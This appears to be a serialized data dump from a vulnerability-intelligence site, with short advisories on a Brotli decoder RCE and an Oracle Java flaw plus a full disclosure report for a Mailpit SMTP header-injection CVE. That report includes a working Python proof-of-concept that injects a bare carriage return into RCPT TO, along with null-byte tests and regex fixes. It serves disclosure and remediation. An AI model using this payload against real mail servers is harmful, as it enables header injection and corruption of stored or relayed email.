[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"landing-trending":3,"cve-CVE-2026-23829":30,"landing-articles":86},{"count":4,"next":5,"previous":6,"results":7},266,"http:\u002F\u002Fweb:8606\u002Fapi\u002Ftrending_attacks\u002F?page=2&page_size=3&sorted_by=-published_at",null,[8,17,20],{"id":9,"title":10,"summary":11,"published_at":12,"severity":13,"vendor":14,"products":15},265,"Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)","This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.","2026-10-24T10:37:22.192753Z",4,"google",[16],"brotli",{"id":4,"title":10,"summary":18,"published_at":12,"severity":13,"vendor":14,"products":19},"This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nTwo situations are possible. When the decoding is done by your own application or reverse proxy, identify the component and update it. If an update is not possible right away, reject requests with \"Content-Encoding: br\" at the reverse proxy or WAF.\r\n\r\nWhen the asset is hosted on a managed platform or behind a CDN (for example Platform.sh, Upsun or Fastly), the decoding may be done by the provider's edge router, in front of your application. You cannot patch it yourself, but this router handles all the traffic of your site. Ask your provider to confirm that its edge components are patched against CVE-2026-111497. Assets hosted on a managed platform or behind a CDN carry the tag \"paas: platform.sh\" or \"cdn: fastly\" in the asset view: for these assets, the Brotli decoding is done by the provider's edge router, in front of your application, and only the provider can patch it.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nContact your edge provider about the status of the pathing (Fastly \u002F Plateform.sh)\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.",[16],{"id":21,"title":22,"summary":23,"published_at":24,"severity":13,"vendor":25,"products":26},263,"Oracle Java SE JSSE - Improper Access Control & Unauthorized Data Access & Unauthorized Data Modification","Oracle Java SE is the Java runtime and development platform. Its JSSE (Java Secure Socket Extension) component provides TLS\u002FSSL for secure network communication. Oracle GraalVM is a JDK distribution based on the same platform.\r\n\r\nCVE-2026-91403\r\n\r\nA vulnerability in the JSSE component of Oracle Java SE, Oracle GraalVM for JDK and Oracle GraalVM Enterprise Edition can be exploited by an unauthenticated attacker with network access over multiple protocols. A successful attack can give unauthorized access to critical data and allow unauthorized creation, deletion or modification of data. It can also affect sandboxed Java Web Start applications and applets that run untrusted code. The record lists the weakness as CWE-284 (Improper Access Control) in the CISA ADP entry, while another database lists CWE-295. The record lists these affected versions:\r\n- Oracle Java SE: 8u511, 8u511-perf, 11.0.33, 17.0.21, 21.0.13, 25.0.5, 27.0.1.\r\n- Oracle GraalVM for JDK: 17.0.21, 21.0.13.\r\n- Oracle GraalVM Enterprise Edition: 21.3.20.\r\n\r\nOracle published an out-of-cycle Security Alert on October 21, 2026. One secondary source says the fix makes Java distrust eight compromised intermediate CA certificates shipped with the JDK. The Oracle-focused sources do not confirm this root cause, so check it against the Oracle advisory. CISA ADP SSVC data shows Exploitation: none, Automatable: yes, Technical Impact: total. The CVE is not in the CISA KEV catalog as of October 22, 2026, and its EPSS score is below 1%.","2026-10-23T14:12:32.871954Z","Oracle",[27,28,29],"Oracle Java SE","Oracle GraalVM Enterprise Edition","Oracle GraalVM for JDK",{"id":31,"cve_id":32,"euvd_id":33,"summary":34,"published":35,"cvss_data":36,"is_remote":46,"cwes":47,"cpes":50,"technologies":53,"references":55,"score":61,"epss_score":62,"epss_percentile":63,"is_kev":64,"cisa_kev_date_added":6,"cisa_kev_due_date":6,"cisa_ssvc":65,"attack_mappings":75,"exploits":82},1351,"CVE-2026-23829","EUVD-2026-3297","Mailpit has an SMTP Header Injection via Regex Bypass\n\n# Vulnerability Report: SMTP Header Injection via Regex Bypass\n\n**Vulnerable Code:** `mailpit\u002Finternal\u002Fsmtpd\u002Fsmtpd.go`\n\n## Executive Summary\nMailpit's SMTP server is vulnerable to **Header Injection** due to an insufficient Regular Expression used to validate `RCPT TO` and `MAIL FROM` addresses. An attacker can inject arbitrary SMTP headers (or corrupt existing ones) by including carriage return characters (`\\r`) in the email address. This header injection occurs because the regex intended to filter control characters fails to exclude `\\r` and `\\n` when used inside a character class.\n\n## RFC Compliance & Design Analysis\n**\"Is this behavior intentional for a testing tool?\"**\nNo. While testing tools are often permissive, this specific behavior violates the core SMTP protocol and fails the developer's own intent.\n\n1.  **RFC 5321 Violation:** The SMTP protocol strictly forbids Control Characters (CR, LF, Null) in the envelope address (`Mailbox`).\n    *   *RFC 5321 Section 4.1.2:* A `Mailbox` consists of an `Atom` or `Quoted-string`. An `Atom` explicitly excludes \"specials, SPACE and CTLs\" (Control Characters).\n2.  **Failed Intent:** The existence of `\\v` in the regex `[^\u003C>\\v]` proves the developer **intended** to block vertical whitespace. The vulnerability is that `\\v` in Go regex (`re2`) inside brackets `[]` matches *only* Vertical Tab, not CR\u002FLF. If the design were to allow everything, the `\\v` exclusion wouldn't exist.\n3.  **Data Corruption:** Allowing `\\r` results in the generation of malformed `.eml` files where the `Received` header is broken. This is not a feature; it's a bug that creates invalid email files.\n4. RFC 5321 also enforces address lengths which are not applied in Mailpit.\n\n## Technical Analysis\n\n### The Flaw\nThe vulnerability exists in the regex definitions used to parse SMTP commands:\n\n```go\n\u002F\u002F internal\u002Fsmtpd\u002Fsmtpd.go:32-33\nrcptToRE   = regexp.MustCompile(`(?i)TO: ?\u003C([^\u003C>\\v]+)>( |$)(.*)?`)\nmailFromRE = regexp.MustCompile(`(?i)FROM: ?\u003C(|[^\u003C>\\v]+)>( |$)(.*)?`)\n```\n\nThe developer likely intended `[^\u003C>\\v]` to mean \"Match anything that is NOT a `\u003C` OR `>` OR `Vertical Whitespace`\".\n\nHowever, in Go's `regexp` (RE2) syntax, the behavior of `\\v` changes depending on context:\n- **Outside** brackets: `\\v` matches all vertical whitespace: `[\\n\\v\\f\\r\\x85\\u2028\\u2029]`.\n- **Inside** brackets (`[...]`): `\\v` matches **only** the Vertical Tab character (`\\x0B`).\n\n**Result:** The regex `[^\u003C>\\v]` **allows** Carriage Return (`\\r`) and Line Feed (`\\n`) characters to pass through, as they are not `\u003C` or `>` or `\\x0B`.\n\n### Exploit Scenario\n### Exploit Scenario\nWhen Mailpit constructs the `Received` header, it uses the validated recipient address directly:\n\n```go\n\u002F\u002F internal\u002Fsmtpd\u002Fsmtpd.go:865\nbuffer.WriteString(fmt.Sprintf(\"        for \u003C%s>; %s\\r\\n\", to[0], now))\n```\n\nIf `to[0]` contains `victim\\rINJECTED-HEADER: YES`, the resulting string in memory becomes:\n\n```text\n        for \u003Cvictim\\rINJECTED-HEADER: YES>; ...\n```\n\nWhile `bufio.ReadString` prevents injecting immediate `\\n` (newlines), `\\r` (Carriage Return) bypasses this check. \n\n**The Result:** The stored EML file contains a \"Bare CR\".\n- **RFC Violation:** RFC 5321 strictly forbids Bare CR. Lines must end in CRLF.\n- **UI Behavior:** Browsers typically render Bare CR as a space, so it may look like `victim INJECTED` in the Mailpit UI.\n- **Real Impact:** The raw email is corrupted. If this email is exported or relayed, downstream systems (Outlook, older MTAs) may interpret the Bare CR as a line break, triggering a full **Header Injection**. Furthermore, Mailpit failing to reject this gives developers a **false sense of security**, as their code might be generating malformed emails that work in Mailpit but fail in production (e.g., with Gmail or Exchange).\n\n### Raw EML Verification\nThe following screenshot of the raw `.eml` file confirms that the `\\r` character successfully broke the `Received` header structure in the stored file, effectively creating a new line for the injected content.\n\n\u003Cimg width=\"621\" height=\"230\" alt=\"image\" src=\"https:\u002F\u002Fgithub.com\u002Fuser-attachments\u002Fassets\u002F1611f07e-316d-436a-95d6-9b14c9a8ecc6\" \u002F>\n\n\u003Cimg width=\"1058\" height=\"441\" alt=\"image\" src=\"https:\u002F\u002Fgithub.com\u002Fuser-attachments\u002Fassets\u002F9543d904-6e0a-4c8b-b283-abbe05b752d0\" \u002F>\n\n\u003Cimg width=\"668\" height=\"196\" alt=\"image\" src=\"https:\u002F\u002Fgithub.com\u002Fuser-attachments\u002Fassets\u002F907e4467-aab6-4bb4-83ce-743af4f6ba8d\" \u002F>\n\n\n\nAs seen in lines  of the screenshot:\n```text\n        for \u003Cvictim\nINJECTED_VIA_CR:YES>; Tue, 13 Jan ...\n```\nThe `INJECTED_VIA_CR:YES` payload is treated as a start of a new line by the text editor (VS Code), which honors `\\r` as a line break. This proves the injection matches the \"Bare CR\" attack vector.\n\n## Additional Proof of Concepts\n\n### 1. Null Byte Injection (`\\x00`)\nThe regex `[^\u003C>\\v]+` also allows the Null Byte (`\\x00`).\n**Test:** `test_null_byte.py` sent `RCPT TO:\u003Cvictim\\x00-NULL-BYTE-HERE>`.\n**Result:** Server accepted the message (`250 OK`).\n**Impact:** The API returns an empty `[]` for the To field in the message summary, indicating the parser failure in the UI\u002FAPI layer. The raw message content confirms the Null Byte is stored in the database.\n\n### 3. Detailed Character Compatibility\nTests (0-127 ASCII) confirm that the regex `[^\u003C>\\v]` blocks **only** the following:\n- `\u003C` (Less Than)\n- `>` (Greater Than)\n- `\\x0B` (Vertical Tab)\n\n**Crucially, it ALLOWS:**\n| Character | Hex | Regex Status | Network Status | Impact |\n| :--- | :--- | :--- | :--- | :--- |\n| **Carriage Return** | `\\r` (`0x0D`) | **ALLOWED** | **Passed** | **Header Injection** |\n| **Line Feed** | `\\n` (`0x0A`) | **ALLOWED** | Blocked* | *Blocked by `bufio.ReadString`, not regex. |\n| **Null Byte** | `\\x00` (`0x00`) | **ALLOWED** | **Passed** | API DoS \u002F Corrupt Data |\n| **Tab** | `\\t` (`0x09`) | **ALLOWED** | **Passed** | Formatting issues |\n| **Delete** | `\\x7F` (`0x7F`) | **ALLOWED** | **Passed** | Potential obfuscation |\n| **Controls** | `0x01`-`0x1F` | **ALLOWED** | **Passed** | (Except `0x0A`, `0x0B`, `0x0D`) |\n\n*This confirms that the regex fails to implement a proper \"Safe Text\" allowlist, defaulting instead to a flawed denylist.*\n\n## Proof of Concept\nThe following Python script demonstrates the injection of a \"bare CR\" into the headers, which is successfully accepted by the server.\n\n```python\nimport socket\n\ndef exploit():\n    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    s.connect((\"127.0.0.1\", 1025))\n    s.recv(1024)\n    s.send(b\"EHLO test.com\\r\\n\")\n    s.recv(1024)\n    s.send(b\"MAIL FROM:\u003Cattacker@evil.com>\\r\\n\")\n    s.recv(1024)\n    \n    # Injecting \\r \n    payload = b\"RCPT TO:\u003Cvictim\\rX-Injected: Yes>\\r\\n\"\n    s.send(payload)\n    resp = s.recv(1024)\n    print(f\"Server Response: {resp.decode()}\") # Expect 250 OK\n    \n    s.send(b\"DATA\\r\\n\")\n    s.recv(1024)\n    s.send(b\"Subject: Test\\r\\n\\r\\nBody\\r\\n.\\r\\n\")\n    s.recv(1024)\n    s.close()\n    \nexploit()\n```\n\n## Remediation\nUpdate the regex to explicitly exclude `\\r` and `\\n`, or use the correct character class escape for control characters.\n\n**Recommended Fix:**\nUse `\\x00-\\x1F` to exclude all ASCII control characters.\n\n```go\n\u002F\u002F Fix: Exclude all control characters explicitly\nrcptToRE   = regexp.MustCompile(`(?i)TO: ?\u003C([^\u003C>\\x00-\\x1f]+)>( |$)(.*)?`)\nmailFromRE = regexp.MustCompile(`(?i)FROM: ?\u003C(|[^\u003C>\\x00-\\x1f]+)>( |$)(.*)?`)\n```\n\nAlternatively, strictly exclude CR and LF:\n```go\nrcptToRE   = regexp.MustCompile(`(?i)TO: ?\u003C([^\u003C>\\r\\n]+)>( |$)(.*)?`)\n```\n## Classification & References\n- **CWE-93:** [Improper Neutralization of CRLF Sequences ('CRLF Injection')](https:\u002F\u002Fcwe.mitre.org\u002Fdata\u002Fdefinitions\u002F93.html)\n- **CWE-150:** [Improper Neutralization of Escape, Meta, or Control Sequences](https:\u002F\u002Fcwe.mitre.org\u002Fdata\u002Fdefinitions\u002F150.html)\n- **OWASP:** [Injection Flaws](https:\u002F\u002Fowasp.org\u002Fwww-community\u002Fattacks\u002FInjection_Flaws)\n- **CAPEC-106:** [Command Injection](https:\u002F\u002Fcapec.mitre.org\u002Fdata\u002Fdefinitions\u002F106.html) (Related usage pattern)\n- [[RFC 5321 Section 4.5.3.1 - Size Limits](https:\u002F\u002Fdatatracker.ietf.org\u002Fdoc\u002Fhtml\u002Frfc5321#section-4.5.3.1)](https:\u002F\u002Fdatatracker.ietf.org\u002Fdoc\u002Fhtml\u002Frfc5321#section-4.5.3.1)","2026-01-20T17:54:00Z",{"cvss_v3.1":37},{"scope":38,"version":39,"baseScore":40,"attackVector":41,"baseSeverity":42,"vectorString":43,"integrityImpact":44,"userInteraction":45,"attackComplexity":44,"availabilityImpact":45,"privilegesRequired":45,"confidentialityImpact":45},"UNCHANGED","3.1",5.3,"NETWORK","MEDIUM","CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","LOW","NONE",true,[48,49],"CWE-93","CWE-150",[51,52],"cpe:2.3:a:axllent:mailpit:*:*:*:*:*:*:*:*","cpe:2.3:a:axllent:mailpit:1.28.2:*:*:*:*:*:*:*",[54],"Axllent Mailpit",[56,57,58,59,60],"https:\u002F\u002Fgithub.com\u002Faxllent\u002Fmailpit\u002Fcommit\u002F36cc06c125954dec6673219dafa084e13cc14534","https:\u002F\u002Fgithub.com\u002Faxllent\u002Fmailpit\u002Freleases\u002Ftag\u002Fv1.28.3","https:\u002F\u002Fgithub.com\u002Faxllent\u002Fmailpit\u002Fsecurity\u002Fadvisories\u002FGHSA-54wq-72mp-cq7c","https:\u002F\u002Fnvd.nist.gov\u002Fvuln\u002Fdetail\u002FCVE-2026-23829","https:\u002F\u002Fgithub.com\u002Faxllent\u002Fmailpit",0.62,0.01402,0.72331,false,{"timestamp":66,"automatable":67,"tech_impact":68,"exploitation":69,"cisa_decision":70,"cisa_remediation_timeline":74},"2026-01-20T20:08:32.596156Z","yes","partial","poc",{"vector":71,"decision":72,"priority":73},"CISAv1\u002FE:P\u002FA:Y\u002FT:P\u002FM:H\u002F2026-10-26T01:30:31.017263\u002F","attend","medium","14D",[76],{"name":77,"source":78,"tactics":79,"technique_id":81},"Exploit Public-Facing Application","attack_vector",[80],"initial-access","T1190",[83,84],{"link":58},{"link":85},"https:\u002F\u002Fgithub.com\u002Fprojectdiscovery\u002Fnuclei-templates\u002Fblob\u002Fmain\u002Fnetwork\u002Fcves\u002F2026\u002FCVE-2026-23829.yaml",{"count":87,"next":88,"previous":6,"results":89},26,"http:\u002F\u002Fweb:8606\u002Fapi\u002Farticles\u002F?page=2&page_size=3&sorted_by=-published_at",[90,98,106],{"id":91,"title":92,"summary":93,"published_at":94,"type":95,"link":96,"image_url":97},30,"PHP2Shell: Two Critical RCE Flaws in PHP (CVSS 9.2)","Unauthenticated code execution demonstrated on WordPress, Drupal and Joomla, and reproduced in our lab. Patched versions and steps to take today.","2026-10-22T00:00:00Z","cve","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002Fc0615c4ee6-1792684469\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2.png",{"id":99,"title":100,"summary":101,"published_at":102,"type":103,"link":104,"image_url":105},29,"Manage External Security Across All Your Entities","Centralize the management of entities, users and external security resources while maintaining strict data isolation with Patrowl.","2026-09-15T00:00:00Z","security tips","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fmulti-entity-external-security-how-structure-governance-group-level","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F8b2c0cc5eb-1789551467\u002Fvisu_1_multi_tenancy_dark_1x.webp",{"id":107,"title":108,"summary":109,"published_at":110,"type":111,"link":112,"image_url":113},28,"Will AI Become the Next Hacker? Bruce Schneier Answers at DEF CON 34","Tax law, finance, legislation: Bruce Schneier shows how AI could hack human rule systems just as easily as it hacks software.","2026-09-14T00:00:00Z","hacks","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fbruce-schneier-def-con-34","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F5c616d9db4-1789462598\u002Fai-hacker.en.png"]